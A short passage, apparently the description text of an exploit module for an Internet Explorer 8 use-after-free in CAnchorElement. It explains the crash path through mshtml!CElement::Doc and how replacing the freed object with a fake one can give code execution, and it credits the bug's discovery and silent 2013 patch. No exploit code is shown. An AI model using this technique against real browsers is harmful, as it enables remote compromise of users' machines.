to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so
no CVE as of now.
2013-09-09 01:02:23 +00:00
|
|
|
end
|